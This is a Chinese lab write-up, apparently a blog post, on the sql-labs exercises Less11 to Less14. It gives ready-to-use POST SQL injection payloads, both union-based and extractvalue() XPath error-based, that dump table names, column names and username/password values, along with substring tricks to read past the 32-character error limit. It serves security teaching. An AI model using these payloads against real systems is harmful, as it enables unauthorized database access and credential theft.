文章目录
场景
登陆框

Less11:基于error和print
查库过程
Less12的闭合方式是’),不再赘述。
右键查看前端源代码,看到uname和passwd参数,打开Hackbar传输post数据。
| 传输post数据 | 程序响应结果 | 判断 |
|---|---|---|
| uname=admin&passwd=123 | 响应无回显 | - |
| uname=’&passwd= | 响应SQL语法报错 | 存在注入漏洞。 |
对passwd参数进行注入:
| 操作 | post数据 | 程序响应和判断 |
|---|---|---|
| 测闭合方式 | - | - |
| 爆字段 | uname=admin&passwd=123’ order by x%23 | Unknown或正常,有2个字段 |
| 联合查询查看回显位 | passwd=’ union select 1,2%23 | 两个回显位 |
| 联合查表 | passwd=’ union select group_concat(table_name),2 from information_schema.tables where table_schema=database()%23 | 得到当前数据库所有表名 |
| 联合查列名 | passwd=’ union select group_concat(column_name),2 from information_schema.columns where table_name=‘users’%23 | 得到当前数据库所有列名 |
| 查列值 | passwd=’ union select group_concat(username),group_concat(password) from users%23 | 得到列值 |
值得注意的是,查询到的users表的部分列名:有些列是不存在的,比如login、email和admin列。查询后几个列成功,比如id、username、password。查到的部分表如下,但查询id、login等列时,返回结果是Unknown:
id,login,password,email,admin,id,username,password,level,id,username,password。
Unknown column ‘email’ in ‘field list’
Unknown column ‘login’ in ‘field list’
Unknown column ‘admin’ in ‘field list’
源码分析
登陆框的后台代码,在实战中极少有print(mysql_error())和echo:
if($row){
echo 'Your Login name:'. $row['username'];
}else {
print_r(mysql_error());
}
回显位的截图:

Less13:基于error
查库过程_使用extractvalue()进行xpath报错注入
Less14的闭合方式是",其余与Less13相同。
| 操作 | post数据 | 程序响应和判断 |
|---|---|---|
| 漏洞探测 | 输入passwd=123’ | 响应SQL语法报错,存在SQL注入漏洞。 |
| 测闭合 | 输入passwd=123’%23 | 仍然报错, |
| - | 输入passwd=123’)%23 | 回显正常,字符串包裹方式是(’’) |
| 测字段数 | 输入passwd=123’) order by 2%23 | 字段数是2 |
| 联合查询 | passwd=’) union select 1,2%23 | 没有回显位 |
| 双查询查库名 | passwd=’) and (select extractvalue(1,concat(0x7e,(select database()))))%23 | 见下图 |
| 双查询查表名 | passwd=’) and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))%23 | 见下图 |
| 双查询查列名 | passwd=’) and (select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’))))%23 | 见下图 |


注意,这里没有打印出所有的列名,因为extractvalue()能查询(报错的结果中只能容纳32个字符)字符串的最大长度为32:

查找完整的列名和列值
1. 尝试substr(str,start,len)函数:
使用substr(str,start,len)截取字符串查看后面的数据,因为除了~还能显示31位,所以len固定为31,只对start进行加法即可遍历出完整的查询结果。查列名:
passwd=’) and (select extractvalue(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’),1,31))))%23

查列值:
passwd=’) and (select extractvalue(1,concat(0x7e,substr((select group_concat(username) from users),1,31))))%23,对substr(str,start,len)函数的len进行增加即可遍历:

2. 尝试right(str,length)函数,left(str,length)函数相似:
passwd=’) and (select extractvalue(1,concat(0x7e,right((select group_concat(column_name) from information_schema.columns where table_name=‘users’),31))))%23

由联合查询的结果可知,目前查询到的是最右边的31位,如果使用right(str,31+10),就能往左多看10个字符,也能遍历出查询结果:

源码分析
不出所料,使用print_r(mysql_error())代码输出数据库报错信息:
if($row){}
else{print_r(mysql_error());}
复习xpath的两个报错函数
利用Xpath语法错误来进行报错注入,主要利用extractvalue()和updatexml()俩函数。
使用条件:mysql版本>5.1.5
extractvalue(1,xpath_string)
函数原型:extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
限制:最大只能输出32位的字符串,需要结合substr()或left()等函数进行注入。
报错原因:第二个参数必须是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
updatexml(1,xpath_string,1)
函数原型:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点的值。
限制:最大只能输出32位的字符串,需要结合substr()或left()等函数进行注入。
参考
《sql-labs 11-20关》,2020-02
https://blog.csdn.net/m0_46143427/article/details/104087801
《MySQL left()函数》,2018-08
https://blog.csdn.net/moakun/article/details/82086078
本文详细介绍了SQL注入的检测与利用方法,包括基于error和print的查库过程,重点讲解了如何通过extractvalue()函数进行xpath报错注入来获取数据库信息。通过调整substr()和right()函数参数,逐步揭示了完整的列名和列值。源码分析部分展示了如何利用mysql_error()输出的错误信息进行漏洞探测。
1315

被折叠的 条评论
为什么被折叠?



